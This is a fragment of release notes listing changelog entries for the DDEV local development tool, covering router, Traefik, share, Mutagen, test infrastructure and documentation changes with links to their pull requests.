<li>feat: restart supervisor for generic webserver and blackfire, xdebug, xhprof, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3728157390" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7941" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7941/hovercard" href="https://github.com/ddev/ddev/issues/7941">#7941</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3712251719" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev-frankenphp/issues/44" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev-frankenphp/issues/44/hovercard" href="https://github.com/ddev/ddev-frankenphp/issues/44">ddev/ddev-frankenphp#44</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3731758265" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7945" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7945/hovercard" href="https://github.com/ddev/ddev/pull/7945">#7945</a></li>
<li>fix(router): ensure Traefik dashboard port is always bound to localhost by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JUVOJustin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JUVOJustin">@JUVOJustin</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730518709" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7942" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7942/hovercard" href="https://github.com/ddev/ddev/pull/7942">#7942</a></li>
<li>fix: fail on <code>ddev start</code> for docker-rootless w/o no-bind-mounts, don't test with latest rootless by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3738663620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7952" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7952/hovercard" href="https://github.com/ddev/ddev/pull/7952">#7952</a></li>
<li>fix: remove stale target files in getBackupCommand to prevent "Is a directory" errors, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3718149196" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7936" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7936/hovercard" href="https://github.com/ddev/ddev/issues/7936">#7936</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3720369430" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7938" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7938/hovercard" href="https://github.com/ddev/ddev/pull/7938">#7938</a></li>
<li>fix(windows): Change FindBashPath to detect user-local Git Bash installations on Windows, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3735819794" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7948" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7948/hovercard" href="https://github.com/ddev/ddev/issues/7948">#7948</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3736233337" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7949" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7949/hovercard" href="https://github.com/ddev/ddev/pull/7949">#7949</a></li>
<li>test(lima): force limactl stop [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3744194229" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7957" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7957/hovercard" href="https://github.com/ddev/ddev/pull/7957">#7957</a></li>
<li>docs(ssh): Explain what to do when remote host identification has changed, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3734385388" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7946" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7946/hovercard" href="https://github.com/ddev/ddev/issues/7946">#7946</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3743993887" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7956" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7956/hovercard" href="https://github.com/ddev/ddev/pull/7956">#7956</a></li>
<li>feat(share): Rework <code>ddev share</code>, add cloudflared share provider, enhance tests, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3579685928" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7784" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7784/hovercard" href="https://github.com/ddev/ddev/issues/7784">#7784</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2435853250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6441" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6441/hovercard" href="https://github.com/ddev/ddev/issues/6441">#6441</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3595452314" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7802" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7802/hovercard" href="https://github.com/ddev/ddev/pull/7802">#7802</a></li>
<li>docs(codespaces): persist global config on codespaces, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2308791511" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6228" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6228/hovercard" href="https://github.com/ddev/ddev/issues/6228">#6228</a> [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3745175516" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7958" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7958/hovercard" href="https://github.com/ddev/ddev/pull/7958">#7958</a></li>
<li>test(buildkite): Make sure to clean up global traefik dir [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3751522568" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7965" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7965/hovercard" href="https://github.com/ddev/ddev/pull/7965">#7965</a></li>
<li>test(windows): Fix timing bug in TestWindowsInstallerWSL2 polling loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3751448862" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7964" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7964/hovercard" href="https://github.com/ddev/ddev/pull/7964">#7964</a></li>
<li>test(share): fix TestShareCmdProviderSystem/ProviderArgsFlag assertion, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3745929213" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7959" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7959/hovercard" href="https://github.com/ddev/ddev/issues/7959">#7959</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3748079866" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7960" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7960/hovercard" href="https://github.com/ddev/ddev/pull/7960">#7960</a></li>
<li>test: Stop using old version of memcached to prevent output about docker-compose version tag [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3754794611" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7973" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7973/hovercard" href="https://github.com/ddev/ddev/pull/7973">#7973</a></li>
<li>fix(platform): Resume environment if not running by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3754724806" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7972" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7972/hovercard" href="https://github.com/ddev/ddev/pull/7972">#7972</a></li>
<li>build(deps): install tzdata-legacy for Debian 13 Trixie by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3754280745" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7971" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7971/hovercard" href="https://github.com/ddev/ddev/pull/7971">#7971</a></li>
<li>fix: show correct project name in <code>ddev mutagen st</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3753387591" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7969" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7969/hovercard" href="https://github.com/ddev/ddev/issues/7969">#7969</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3753474436" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7970" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7970/hovercard" href="https://github.com/ddev/ddev/pull/7970">#7970</a></li>
<li>test(buildkite): Use colima stop -f to force stop [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3758779244" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7977" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7977/hovercard" href="https://github.com/ddev/ddev/pull/7977">#7977</a></li>
<li>docs: add cloudflare warp networking instructions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lguigo22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lguigo22">@lguigo22</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3756979012" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7975" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7975/hovercard" href="https://github.com/ddev/ddev/pull/7975">#7975</a></li>
<li>docs: lima template creation for users [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765100578" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7985" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7985/hovercard" href="https://github.com/ddev/ddev/pull/7985">#7985</a></li>
<li>docs(developer): Update template syntax for lima in developer docs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765099554" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7984" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7984/hovercard" href="https://github.com/ddev/ddev/pull/7984">#7984</a></li>
<li>test: show ddev version at start of tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765028533" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7983" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7983/hovercard" href="https://github.com/ddev/ddev/pull/7983">#7983</a></li>
<li>fix(traefik): Convert Traefik configuration errors to warnings instead of failures by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3751597410" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7967" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7967/hovercard" href="https://github.com/ddev/ddev/pull/7967">#7967</a></li>
<li>fix(test): Force TestDownloadFileRetryLogic to work even if DDEV_DEBUG wasn't set [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765149784" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7986" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7986/hovercard" href="https://github.com/ddev/ddev/pull/7986">#7986</a></li>
<li>refactor: systematize #ddev-generated signature checking by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3764929539" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7982" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7982/hovercard" href="https://github.com/ddev/ddev/pull/7982">#7982</a></li>
<li>feat: Add <code>ddev utility mutagen-diagnose</code> command for Mutagen troubleshooting, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3538536243" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7740" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7740/hovercard" href="https://github.com/ddev/ddev/issues/7740">#7740</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765952291" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7988" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7988/hovercard" href="https://github.com/ddev/ddev/pull/7988">#7988</a></li>
<li>fix(router): Improve Traefik healthcheck for better router verification by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3764922813" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7981" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7981/hovercard" href="https://github.com/ddev/ddev/pull/7981">#7981</a></li>
<li>test(buildkite): Clean up lima and colima containers at start by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3782674572" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8006" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8006/hovercard" href="https://github.com/ddev/ddev/pull/8006">#8006</a></li>
<li>test(github): Allow skipping github tests with [skip github] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3783024777" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8007" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8007/hovercard" href="https://github.com/ddev/ddev/pull/8007">#8007</a></li>
<li>fix(router): Prevent unnecessary router re-creation when bound ports unchanged, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2644155987" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6703" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6703/hovercard" href="https://github.com/ddev/ddev/issues/6703">#6703</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3770381899" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7992" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7992/hovercard" href="https://github.com/ddev/ddev/pull/7992">#7992</a></li>
<li>fix(composer): warn that global and self-update changes don't persist, use <code>stable</code> for empty <code>composer_version</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3772425983" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7993" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7993/hovercard" href="https://github.com/ddev/ddev/issues/7993">#7993</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3772755620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7995" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7995/hovercard" href="https://github.com/ddev/ddev/pull/7995">#7995</a></li>
<li>feat: add <code>--no-cache</code> flag for <code>ddev start</code> and <code>ddev restart</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3776267513" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7999" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7999/hovercard" href="https://github.com/ddev/ddev/pull/7999">#7999</a></li>
<li>fix(router): healthcheck after new config must happen as normal user by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789985132" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8010" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8010/hovercard" href="https://github.com/ddev/ddev/pull/8010">#8010</a></li>
<li>test(traefik): improve reliability of traefik.bats router API tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3794407933" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8013" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8013/hovercard" href="https://github.com/ddev/ddev/pull/8013">#8013</a></li>
<li>docs: separate CLAUDE.md from AGENTS.md with focused content by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shaal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shaal">@shaal</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3793577139" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8011" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8011/hovercard" href="https://github.com/ddev/ddev/pull/8011">#8011</a></li>
<li>feat: include additional ssh config files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codebymikey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codebymikey">@codebymikey</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789513134" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8008" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8008/hovercard" href="https://github.com/ddev/ddev/pull/8008">#8008</a></li>
<li>fix(tests): make GitHub release downloads more resilient [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3797908891" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8015" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8015/hovercard" href="https://github.com/ddev/ddev/pull/8015">#8015</a></li>
<li>chore(codespaces): Use newer test project for codespaces, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3801291888" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8017" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8017/hovercard" href="https://github.com/ddev/ddev/issues/8017">#8017</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3806578177" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8022" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8022/hovercard" href="https://github.com/ddev/ddev/pull/8022">#8022</a></li>
<li>docs: Update Ibexa DXP install by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adriendupuis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adriendupuis">@adriendupuis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3805274672" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8021" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8021/hovercard" href="https://github.com/ddev/ddev/pull/8021">#8021</a></li>
<li>test: Disable long-running tests when GOTEST_SHORT is set, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814257730" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8026" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8026/hovercard" href="https://github.com/ddev/ddev/issues/8026">#8026</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814695320" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8028" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8028/hovercard" href="https://github.com/ddev/ddev/pull/8028">#8028</a></li>
<li>build(docker-compose): Bump docker-compose to v5.0.1 before release by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814852853" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8031" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8031/hovercard" href="https://github.com/ddev/ddev/pull/8031">#8031</a></li>
<li>test(docker): Add Docker CE container cleanup for WSL instances, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814823179" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8029" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8029/hovercard" href="https://github.com/ddev/ddev/issues/8029">#8029</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814825356" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8030" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8030/hovercard" href="https://github.com/ddev/ddev/pull/8030">#8030</a></li>
<li>fix: prevent panic during <code>ddev poweroff</code> or use of container.Names[0], fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3811380435" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8024" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8024/hovercard" href="https://github.com/ddev/ddev/issues/8024">#8024</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814633137" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8027" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8027/hovercard" href="https://github.com/ddev/ddev/pull/8027">#8027</a></li>
<li>docs(xdebug): Add step-debugging.md endpoint security notes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelpittet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelpittet">@joelpittet</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3777521549" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8002" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8002/hovercard" href="https://github.com/ddev/ddev/pull/8002">#8002</a></li>
<li>feat(codeigniter): add CodeIgniter 4 app type, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3068326488" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7303" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7303/hovercard" href="https://github.com/ddev/ddev/issues/7303">#7303</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Franky5831/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Franky5831">@Franky5831</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3622910076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7853" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7853/hovercard" href="https://github.com/ddev/ddev/pull/7853">#7853</a></li>
<li>fix(composer): run post-create-project-cmd for plugin events by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3819196336" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8039" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8039/hovercard" href="https://github.com/ddev/ddev/pull/8039">#8039</a></li>
<li>fix: sort web_extra_exposed_ports for router port matching in generic webserver, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3434139793" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7640" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7640/hovercard" href="https://github.com/ddev/ddev/issues/7640">#7640</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3822882288" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8040" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8040/hovercard" href="https://github.com/ddev/ddev/pull/8040">#8040</a></li>
